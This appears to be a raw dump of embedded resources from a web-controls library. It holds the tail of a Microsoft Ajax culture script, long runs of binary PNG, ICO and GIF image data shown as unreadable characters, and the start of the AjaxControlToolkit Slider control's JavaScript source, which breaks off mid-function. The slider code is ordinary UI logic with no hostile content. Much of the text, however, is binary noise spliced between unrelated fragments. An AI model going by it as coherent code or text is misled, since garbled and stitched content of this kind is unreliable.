Array.indexOf(a._upperAbbrMonths,a._toUpper(b))};Sys.CultureInfo.CurrentCulture._getAbbrMonthIndex=Sys.CultureInfo.prototype._getAbbrMonthIndex;Sys.CultureInfo.InvariantCulture._getAbbrMonthIndex=Sys.CultureInfo.prototype._getAbbrMonthIndex};C�PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FnIDATxڬ�MlT����1o����b0_	�6�N�H-(�J)*�(�"�R?�@�x��.�	ɦj��m�E>T��	G*R��N4��ی�z_��Ӆߘ��@Q�'���{s��#fƗ���Z��}&e�ef�Y��,��a��┲�ߜ<���&GQĭ���� �L��gJ�0@�G�q/,,p m��
���
�>|�p���(Zk:{���o�1�(qb*1S(OLLp+�/fR iwhh��رc���<���z4�В��U��Г������{��ק�)[���Ri	hǎ�aR 2�pN�8�{����֮��&�4���l�M�0k�$4	'&ӝ�x��(>�>)��}���^{�	
�(�����l�����=�f�K)[A܋/>���+F�jѵeP���8ӡ��i��8�VX��);n�b�6o7s�=��g�}yhh�]�*L
�޽{��L�ͽKo����2�w�/�ʄ�6L��q���4,ː^���F���~��g�:��%wՖ�'�=��/懆��L�>4��^�3�Ea�����ꫯ>�~m�o��O��1�AP(��q�f�J[���J[`��Fj�栳;�A���Xw����wm��ѣG�
���	�e�)C����nڴ�֕���Ob�y��p3 m$�X�2 �(�#ـk
ֆ�0���1k=��ݹs�~#�@N^�LH{�̙3�7�ƕQg..(-,f�$Ǒ�Ahs8�m4-�9���G�m�H()x.�T�M�[s�o=z�{�2ɏ^bX�̺u��	�Y�f���/�+w:8.8BD�
� �b��Q�>a�a
R�	[T�rzS�Rdž
�.��R���L*�['O�|̭�zL��u|-Aq$)m�}���
2��0~F��]4?���ϐ�]�}Q`SɆ�"7YszD�pppK7N�j�K�h���O��W=JJm!�����#���Rf� K�I��b`�JC��JG~�8�XE��)P_�aÆ��.]�,#Pk9��r��5��fY=ie�m�,�<�)7tܼ%���G-u�:�C鼖qG(����M8_�G�m����4�܊�DD�]�ܬm�s�"cf� EA���ߚp<�[,����EPJ�V�!C�g�Y-Y,��Fb."�u��Z�R}- t?�V�,�@xaݒ�Ȓ�B(C�����|�r9���;el%��|���:�V��M�o_����w��:�[ӱx��6���f#�m"��[�9b��2�T�rj����+cY52�V�~��Y+6���i�3�R�IE,g#�;�2�@��O��
̝�L$�(&�L^&�AWT.���ɮل��1###W�=�_��<�4�C����$�L
�ˀH3�20�@
@X�/��9�65�ſ�>������…76n���k��,dc8�u��)�E�X(uۍ�ע[�ry<�J4��V�$K�ccc�^����>��� Sq�޸��@�y[4={�����To���n�������i���{������)�������0����	�]�sy�|������ُ��fK���8t�P�3�`||��ߍl�5�ū{]�t��E�x
���,�/t�x�l����8�n�V�R��B���rϤ�I�K��?�����:��
��Fg#�9���,��Q�� @�����s�tܜ����}���?�I��4�:�@�T*�S�y�?�s�;/U�'���C2��`l�vGɄ\�!�k}jҾ����щ��_|�p7�L=�?N�{=��ݻ��Ƶk��o@@޲�5�b�ǫbߑ}���l	[*k"�E/	��񌬝+��ߑw'�c��{�<
��x��
`�f۶m0���i�b'�K�ż����}B��1s�ֵ��ʲ,WY�k��z��G�֗L'�W���=a�r����%Au���V�`'@^⩦e�}r�1������淓*)	|���w�ܜ��o��v��)sR�5�b.NM��M�]&ږ`
��
QA;y��SJ�Uk�y��J��2�L&�$m-oD�/ZJ�i��X#�\��6�}%����_�<b����E_v��G��)^�yIEND�B`�6   �& h�( @ U��m������Xg������f������Og�����������Nx��y��Lg������������Nx��r��8n���������������Qy��f��Uh�������������������Py��p��J�����j�����������������������[�������j���h���f���d���b���a�����������������������������V~��Nt��Mr��Kp��Jn��Hl��Fj��Eh��Dg��Cf��Bd��Ac�@b~�@b~�k������������������������������������������������������������������������������������������������@b~�l������������������������������������������������������������������������������������������������@b�m�����������������������������������������������������������������������������������������������Ac��o������������������V��|��v��v��v��v��z��z��x��v��v��v��v��y�����������������������������Be��p������������������
����������������Fdz�6���������������������������������������Be��q������������������0����������5:�^�ads���������2��������������������������Df��r�����������������������9���������MO�������������E���������������������������Eg��s���������������������=��J�F������	��������	��v���������������������������Eh��t�����������������������:��n���@������
��,I`����
�����E�������������������������������Fj��u������������������������?��s���n���&�����^,�������u��������������������������������Gk��w���������������������������L�����E������� �"�����������3����������������������������������Hm��w���������������������������=�����i���1���`�'�������	v�����������������������������������In��x���������������������������~��M��}���<ca�M�;JT�������$������������������������������������Jp��x�������������������������������7��p���N���+!�0������{�������������������������������������Lq��y������������������������������w��?��U���������� �������������������������������������Lr��{���������������������������������.��A���I������
{��������������������������������������Ms��{���������������������������������{��$��Q�����{�������������������������������������Ou��|�����������������������������������8��9��2���������������������������������������Qw��|����������������������������������������������������������������������������������Qy��|���������������������������������������������������������������������������������Rz��|���|���|���{���z���y���x���v���u���t���r���q���o���n���l���j���i���g���e���c���a���_���]���[���Z���X���V}��T{����������������������?��?�������������������������������(  l���@b~�Ou�����@b~����"_��������@b~����^���[���X���������������Lq��Gk��Ei��Df��Ac�@b~�@b~�a�����������������������������������������������Ab�d����������������������������������������������Be��h������������������~��m�������������������Df��k�����������4��(���gj����y����������Ei��n������������4��Y����������
��#�����������Hm��q���������������J��_��CCP������������������Kp��t���������������K��o��>::�����������������Ns��v������������������4���������������������Qw��x������������������A��4������������������T{��{�������������������������������������W���|���������������������������������������[���|���|���{���y���w���u���s���p���m���j���g���d���a���^����������������������������������������������6   �& h�( @ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������g��g��g��g��g��g��g��g��g��g��g��g��g�������������������������������������������������������������������������������������������������(  ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������g��g��g��g��g��g���������������������������������������������������������������������������������������6   �& h�( @ �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������h3��X$��Q��O��������������������������������������������������������������������K��Ǯ��N��N��������������������������������������������������������������������K��ǯ��T��N�������������������������������������������������������J��ǭ��^��O���������~I��Ƭ��d��O��}I������h��O��K��ƭ��z��h��^��O��O��Ҿ���{��n��d��[��N��R�����������u��k��a��Y��N��Z�����ɱ��������}��q��g��a��W��N��L
�b��������������Ӿ��̷��é��������z��g��N��g��f��e��a��_��\��W��{I��s?��f1��W"��R��Q��O��l�e
�a
�_	�\߂Q��������������������������������������������?�������������������������(  ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������]0��b2��P��������������������������������������������p����P������������������������������������w������P��������O������p��Z��P��e�Ȱ���n��i��Z��P��i�η����v��i��b��Z��P��y�������̵��Ī���������|��a��P�������s��d�ڂU��tE��j:��P�������������������������6   �& h�( @ t$t$WWW�t$t$WWW�WWW�WWW�t$WWW�WWW�WWW�WWW�WWW�t$WWW�WWW�t$WWW�WWW�WWW�t$t$WWW�WWW�WWW�WWW�WWW�t$�����lZ��jX��hV��gT�~dR�|cP�zbO�y`M�w^J�v]I�t[G�sYE�qXD�pVB�����WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�t$�����������Ǿ��Ļ��¹�ѿ��м��λ��̸��ʶ��ɴ��Dz��ư��ĭ�����ֶ��WWW�WWW����׾��ս��Ժ��WWW�Į�����WWW�WWW�t$��������������������������������������������⿵�WWW�������������WWW�Į�����WWW�t$����������������������������������������������������������WWW�Į����������������������������������������������������������������WWW�Į�����������������������������������������������������������WWW�WWW�WWW�WWW�WWW����������������������������������������������������������WWW�WWW�WWW�ڸ�����������������������������������������������������������·�WWW�ط����������������������������������������������������������������������Į��qWC���������������������������������������������������������������������DZ��sYE�������������������������������������������������������������������ɳ��u[H���������������������������������������������������������������������˶��w^J����������������������������������������������������������������������ͺ��y`M�����������������������������������������������������������������������ϼ��{bO���������������������������������������������������������������������������~dR�����������������������������������������������������������������������ú��gT����������������������������������������������������������������������������Ǿ��iW�����������������������������������������������������������������������������lZ�ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y �ёr���������������������������������������������������}���z���w���t���q���o��m��j��h��f��e��e��Y �ёr���������������������������������������������������~���z���w���t���q���n��m��j��h��f��e��e��Y �ёr���������������������������������������������������}���z���w���u���q���o��l��j��h��g��e��e��Y �ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y �����������?����������������13????????????????????����(  t$t$WWW�t$t$WWW�WWW�WWW�t$WWW�WWW�WWW�WWW�WWW�t$t$WWW�WWW�WWW�t$������������WWW�WWW�˵��˵��˵��WWW�˵��˵��˵��WWW�WWW�t$�������WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�t$�����������WWW�WWW��������WWW�����п�ѻ��WWW�WWW�t$���������������WWW��������WWW�������ѻ��WWW�t$������������������������WWW�WWW�WWW�WWW�WWW�ѻ��î�������������������������WWW�WWW�WWW�Ī���gU�Ȳ�����������������������������WWW�������cI5�̶��������������������������������������cI5�ꪋ�ꪋ�ꪋ�饄��z��n��b��V��}J��v@��r9��b/�ꪋ��¢���������������������������}���w��e��e1�ꪋ�ꪋ�ꪋ�ꪋ�ꦆ����v��l��b��X��v>��r9�����?Z��X��V��sT�R�P�O�M�J�I�G�E�D�B���6   �& h�( @ ���pF�R����u���pF�R�X�c�I�R����u�uc��sa��p]��lY��hU�|cP�x_L�t[G�pVC�lS?�jO<�gM9����pF�R�o�|�i�v�Y�d�C�M����u���pg�r��ٕ��ڗ�q�~�d�p�V�a�@�J����u�И��͕��Ì��Ф�xŏ�l�x�C�N�Q�[�Z�d�w����Ф�xŏ�M�k�1rD��Š��Ф�xŏ�M�k�1rD��uc��s`��p]��lZ��hU�|dQ�x_K�sZG�pWB�lS>�iP;�gM9�k����Ф�xŏ�M�k�1rD�k����Ф�xŏ�M�k�1rD�k����Ф�xŏ�M�k�1rD�k����ϡ�xŏ�M�k�1rD�k����ϡ�xŏ�M�k�1rD��uc��sa��p^��lZ��gU�}cP�x_K�tZG�pVC�lR>�jO;�gM9�k����̜�rÊ�M�k�1rD�k����ɖ�h���M�k�3wG�k���g���k���}Ǔ�h���M�k�6~K�2tF�0oC����mk����ϡ��ɖ�^�y�H�d�A�[�2tF��ʳ�����������IJ�ɽ��k����ϡ�o���C�^�4yI������IJ�©�����������������������������������������������������������������������k����ϡ�6}K���������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ�����������������������������k���������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ�ġ���ǰ��ǰ��ǰ��ǰ��ǰ����������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ�ġ���ġ���ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ�ġ����ǰ��ġ���ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ�ġ����ǰ��ǰ��ǰ��ġ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ���ǰ��ǰ��ǰ��ǰ��ǰ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ����������������������������������������������������������������������������������������������������?����������������������������������������������������������������(  F�R$F�R�<~E3J�U'F�R�X�c�C�M�<~E3u�$g�r��ٕ�i�v�V�a�@�J�<~E3�uc��sa��p]��lY��hU�|cP��И��͕��Ì�q�~�C�N�Q�[�Z�d�w���yц�S�]��uc��s`��p]��lZ��hU�|dQ�{�����Y�b�{���r�~�@�J��uc��sa��p^��lZ��gU�}cP�w���~͋�@�J�g�r��͕��Ì��ؗ�X�c�@�J�Z�d����Ǽ��t�~��ٕ���r�~�@�J�����Ů������������������������������g�r��ٕ�C�M���������ǰ��ǰ��ǰ�ġ���ǰ��ǰ������������������g�r�������������ǰ��ǰ�ġ���ġ���ǰ������������������������������������ǰ��ǰ���ǰ���ǰ������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ����������������������������������������������������������お�������k�D��GIF89a�
�������������������������������������!�
,F��I%�ۜ7��rc�|ډ2ez)0LR���7��
�p�&Ia�8%�AD%ԬVb�z���x<��;�GIF89a��������������������������������������������������������������������������������������������������������������������������������ʋ�ʌ�ʍ�ʎ�ʏ�ʖ��)^���ʊ�ʔ�ʗ�ʙ����!�I,��I������������!$%������"'*,��C�C����&+0
�C�
���034CF���FC4�Â,7CB���C�т059CG���C9�߂8:CH误:���;����C;�;�.�i����!
j� „!Dx� x9�@�"=|T7�
� L��a� A(Vć�A2Lre�$�8���O.dȬ8�Ĉ�>���E�3���B@
A$T��Z��
��b�x!(ŋ6#n�v�48nبA�@A-f�8�0���	֕v���@;GIF89a�������������������������������������������333���!�,� $�di�B��l+�p�ƴ:�D��
���p8���r�4R7�HXE	��Y�B�����΃�z�f"�c���8~�n��
�vD�
q�}��q�����q
���j�
q	�����q�����q��'��!;(GIF89a��1�<��8��9��<ݡS��������Ǝ��������������������������������������!�	 ,EA(0��PąB�т��*D�@!�	%H�!BD">p�A��D\� �
�4;��// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Compat/DragDrop/DragDropScripts.js" />
/// <reference path="../Animation/Animations.js" />


Type.registerNamespace('AjaxControlToolkit');

//  _SliderDragDropManagerInternal
//  This is a DragDropManager that returns always a GenericDragDropManager instance.
//  It is used in the Slider control to prevent IE from displaying the drag/drop icons 
//  when dragging the slider's handle.
//

AjaxControlToolkit._SliderDragDropManagerInternal = function() {
    AjaxControlToolkit._SliderDragDropManagerInternal.initializeBase(this);
    
    this._instance = null;
}
AjaxControlToolkit._SliderDragDropManagerInternal.prototype = {
    _getInstance : function() {
        this._instance = new AjaxControlToolkit.GenericDragDropManager();

        this._instance.initialize();
        this._instance.add_dragStart(Function.createDelegate(this, this._raiseDragStart));
        this._instance.add_dragStop(Function.createDelegate(this, this._raiseDragStop));
        
        return this._instance;
    }   
}
AjaxControlToolkit._SliderDragDropManagerInternal.registerClass('AjaxControlToolkit._SliderDragDropManagerInternal', AjaxControlToolkit._DragDropManager);
AjaxControlToolkit.SliderDragDropManagerInternal = new AjaxControlToolkit._SliderDragDropManagerInternal();

// SliderOrientation
// Specifies the orientation of the slider.
//
AjaxControlToolkit.SliderOrientation = function() {

}
AjaxControlToolkit.SliderOrientation.prototype = {
    Horizontal : 0,
    Vertical : 1
}
AjaxControlToolkit.SliderOrientation.registerEnum('AjaxControlToolkit.SliderOrientation', false);

// The SliderBehavior upgrades a textbox to a graphical slider.
//
AjaxControlToolkit.SliderBehavior = function(element) {
    AjaxControlToolkit.SliderBehavior.initializeBase(this, [element]);
    
    // Members
    //
    this._minimum =  0;
    this._maximum =  100;
    this._value = null;
    this._steps =  0;
    this._decimals =  0;
    this._orientation =  AjaxControlToolkit.SliderOrientation.Horizontal;
    this._railElement = null;
    this._railCssClass = null;
    this._isHorizontal =  true;
    this._isUpdatingInternal =  false;
    this._isInitializedInternal =  false;
    this._enableHandleAnimation =  false;
    this._handle = null;
    this._handleImage =  null;
    this._handleAnimation =  null;
    this._handleAnimationDuration =  0.1;
    this._handleImageUrl = null;
    this._handleCssClass = null;
    this._dragHandle = null;
    this._mouseupHandler = null;
    this._selectstartHandler = null;
    this._boundControlChangeHandler = null;
    this._boundControlKeyPressHandler = null;
    this._boundControlID = null;
    this._boundControl = null;
    this._length = null;
    this._raiseChangeOnlyOnMouseUp =  true;
    this._animationPending = false;
    this._selectstartPending = false;
    this._tooltipText = '';

    this._enableKeyboard = true;

    // Handlers    
    this._keyDownHandler = null;
    
    // Events
    //
    // sliderInitialized
    // valueChanged
    // slideStart
    // slideEnd
}
AjaxControlToolkit.SliderBehavior.prototype = {
    
    // initialize / dispose
    //
    initialize : function() {
        AjaxControlToolkit.SliderBehavior.callBaseMethod(this, 'initialize');
                
        this._initializeLayout();
    },
    
    dispose : function() {
        this._disposeHandlers();
        
        this._disposeBoundControl();
        
        if(this._enableHandleAnimation && this._handleAnimation) {
            this._handleAnimation.dispose();
        }
                
        AjaxControlToolkit.SliderBehavior.callBaseMethod(this, 'dispose');
    },
        
    // _initializeLayout
    _initializeLayout : function() {
        // Element for the slider's rail.
        this._railElement = document.createElement('DIV');
        this._railElement.id = this.get_id() + '_railElement';
        
        // Key events in Firefox are raised only if a DIV has 
        // tabIndex set to -1.
        this._railElement.tabIndex = -1;
        
        // Layout for the slider's handle.
        this._railElement.innerHTML = '<div></div>';
        this._handle = this._railElement.childNodes[0];
        this._handle.style.overflow = 'hidden';
        this._handle.style.position = 'absolute'; 

        // Initialize left and top to 0px for Opera
        if(Sys.Browser.agent == Sys.Browser.Opera) {
            this._handle.style.left = '0px';
            this._handle.style.top = '0px';
        }
        
        // Replace the textbox with the graphical slider.
        var textBoxElement = this.get_element();
        var textBoxElementBounds = $common.getBounds(textBoxElement);
        textBoxElement.parentNode.insertBefore(this._railElement, textBoxElement);
        
        // This is a flag for saving keystrokes. 
        this._isHorizontal = (this._orientation == AjaxControlToolkit.SliderOrientation.Horizontal); 
        
        var defaultRailCssClass = (this._isHorizontal) ? 'ajax__slider_h_rail' : 'ajax__slider_v_rail'; 
        var defaultHandleCssClass = (this._isHorizontal) ? 'ajax__slider_h_handle' : 'ajax__slider_v_handle';
        var defaultHandleImageUrl = (this._isHorizontal) ? '<%= WebResource("AjaxControlToolkit.Slider.Images.slider_h_handle.gif") %>'
            : '<%= WebResource("AjaxControlToolkit.Slider.Images.slider_v_handle.gif") %>';
            
        this._railElement.className = (this._railCssClass) ? this._railCssClass : defaultRailCssClass; 
        this._handle.className = (this._handleCssClass) ? this._handleCssClass : defaultHandleCssClass;
        if(!this._handleImageUrl) this._handleImageUrl = defaultHandleImageUrl;
        
        // If the length property is set, override rail's CSS.
        if (this._isHorizontal) {
            if(this._length) this._railElement.style.width =  this._length;
        } 
        else {
            if(this._length) this._railElement.style.height =  this._length;
        }
        
        this._loadHandleImage();
        
        // Enforce positioning set via the associated textbox's style.
        this._enforceTextBoxElementPositioning();

        this._hideTextBoxElement();
        
        // Layout is done.
        this._initializeSlider();
    },
    
    // _enforceTextBoxElementPositioning
    // Enforce positioning set via the associated textbox's style.
    //
    _enforceTextBoxElementPositioning : function() {
        var tbPosition = 
            {
                position: this.get_element().style.position,
                top: this.get_element().style.top,
                right: this.get_element().style.right,
                bottom: this.get_element().style.bottom,
                left: this.get_element().style.left
            };
        
        if(tbPosition.position != '') {
           this._railElement.style.position = tbPosition.position;
        }
        if(tbPosition.top != '') {
            this._railElement.style.top = tbPosition.top;
        }
        if(tbPosition.right != '') {
           this._railElement.style.right = tbPosition.right;
        }
        if(tbPosition.bottom != '') {
           this._railElement.style.bottom = tbPosition.bottom;
        }
        if(tbPosition.left != '') {
            this._railElement.style.left = tbPosition.left;
        }
    },

    // _hideTextBoxElement
    // Hide the text box element
    //
    _hideTextBoxElement: function() {
        var textBoxElement = this.get_element();

        textBoxElement.readOnly = true;

        var dimension = '0px';

        if (Sys.Browser.agent == Sys.Browser.Safari) {
            dimension = '1px';
        }

        textBoxElement.style.width = dimension;
        textBoxElement.style.height = dimension;
        textBoxElement.style.border = '0px';
        textBoxElement.style.padding = '0px';
        textBoxElement.style.margin = '0px';
        textBoxElement.style.fontSize = '1px';
        textBoxElement.style.lineHeight = '1px';
        textBoxElement.style.outline = '0';

        textBoxElement.style.position = 'absolute';
    },
    
    // _loadHandleImage
    // This method loads the image used for the handle.
    //
    _loadHandleImage : function() {
        this._handleImage = document.createElement('IMG');
        this._handleImage.id = this.get_id() + '_handleImage';
        this._handle.appendChild(this._handleImage);
        this._handleImage.src = this._handleImageUrl;
    },
       
    // _initializeSlider
    // This method initializes the slider control and is called after the 
    // layout has been setup.
    //
    _initializeSlider : function() {
        this._initializeBoundControl();
                
        // Check if a value is already set in the textbox.
        var _elementValue;
        try {
            _elementValue = parseFloat(this.get_element().value);
        } catch(ex) {
            _elementValue = Number.NaN;
        }
        
        this.set_Value(_elementValue);
        
        // Position the slider's handle to the current value.
        this._setHandleOffset(this._value);
                
        // Setup the invisible drag handle.          
        this._initializeDragHandle();
                                        
        // Register ourselves as a drop target.
        AjaxControlToolkit.SliderDragDropManagerInternal.registerDropTarget(this);
        
        this._initializeHandlers();
                
        this._initializeHandleAnimation();
                        
        this._isInitializedInternal = true;
        
        this._raiseEvent('sliderInitialized');
    },
    
    // _initializeBoundControl
    // Creates and initializes the control that is bound to the slider.
    //
    _initializeBoundControl : function() {
        if(this._boundControl) {
            var isInputElement = this._boundControl.nodeName == 'INPUT';
            
            if(isInputElement) {
                this._boundControlChangeHandler = Function.createDelegate(this, this._onBoundControlChange);
                this._boundControlKeyPressHandler = Function.createDelegate(this, this._onBoundControlKeyPress);
                
                $addHandler(this._boundControl, 'change', this._boundControlChangeHandler);
                $addHandler(this._boundControl, 'keypress', this._boundControlKeyPressHandler);
            }
        }
    },
    
    _disposeBoundControl : function() {
        if(this._boundControl) {;
            var isInputElement = this._boundControl.nodeName == 'INPUT';
            
            if(isInputElement) {
                $removeHandler(this._boundControl, 'change', this._boundControlChangeHandler);
                $removeHandler(this._boundControl, 'keypress', this._boundControlKeyPressHandler);
            }
        }
    },
    
    _onBoundControlChange : function(evt) {
        this._animationPending = true;
        this._setValueFromBoundControl();
    },
    
    _onBoundControlKeyPress : function(evt) {
        if(evt.charCode == 13) {
            this._animationPending = true;
            this._setValueFromBoundControl();
            evt.preventDefault();
        }
    },
    
    _setValueFromBoundControl : function() {
        this._isUpdatingInternal = true;
        
        if(this._boundControlID) {
            this._calcValue($get(this._boundControlID).value);
        }
        
        this._isUpdatingInternal = false;
    },
   
    // _initializeHandleAnimation
    // Initializes the animation for the handle element.
    //
    _initializeHandleAnimation : function() {
        if(this._steps > 0) {
            this._enableHandleAnimation = false;
            return;
        }
        
        if(this._enableHandleAnimation) {
            this._handleAnimation = new AjaxControlToolkit.Animation.LengthAnimation(
                    this._handle, this._handleAnimationDuration, 100, 'style');
        }
    },
    
    // _ensureBinding
    //
    _ensureBinding : function() {
        if(this._boundControl) {
            var value = this._value;
            
            if(value >= this._minimum || value <= this._maximum) {
                var isInputElement = this._boundControl.nodeName == 'INPUT';
                
                if(isInputElement) {
                    this._boundControl.value = value;
                }
                else if(this._boundControl) {
                    this._boundControl.innerHTML = value;
                }
            }
        }
    },
        
    // _getBoundsInternal
    // This function swaps the x and y coordinates to use the same logic 
    // for both the horizontal and vertical slider.
    //
    _getBoundsInternal : function(element) {
        var bounds = $common.getBounds(element);
        
        // This function checks whether width and height are defined
        // for the DOM element passed as an argument.
        function hasSize() { 
            return bounds.width > 0 && bounds.height > 0;
        }
        
        // If we weren't able to compute the size, let's try getting it from CSS.
        // For example, if the slider has a containing element with display:none, then 
        // the size computed will always be zero. Note: in Opera, the width parsed from CSS is always 0.
        if(!hasSize()) {
            bounds.width = parseInt($common.getCurrentStyle(element, 'width'));
            bounds.height = parseInt($common.getCurrentStyle(element, 'height'));
            
            if(!hasSize()) {
                // If size is still invalid, let's try temporary adding the element
                // as a child of the BODY element.
                var tempNode = element.cloneNode(true);
                tempNode.visibility = 'hidden';
                document.body.appendChild(tempNode);
                
                bounds.width = parseInt($common.getCurrentStyle(tempNode, 'width'));
                bounds.height = parseInt($common.getCurrentStyle(tempNode, 'height'));
                document.body.removeChild(tempNode);

                // If size is still invalid, then give up.
                if(!hasSize()) {
                    throw Error.argument('element size', AjaxControlToolkit.Resources.Slider_NoSizeProvided);
                }
            }
        }

        if(this._orientation == AjaxControlToolkit.SliderOrientation.Vertical) {
             bounds = { x : bounds.y, 
                        y : bounds.x, 
                        height : bounds.width, 
                        width : bounds.height, 
                        right : bounds.right,
                        bottom : bounds.bottom,
                        location : {x:bounds.y, y:bounds.x},
                        size : {width:bounds.height, height:bounds.width}
                      };
        }
        
        return bounds;
    },
    
    // _getRailBounds
    // This method returns the slider's rail bounds.
    //
    _getRailBounds : function() {
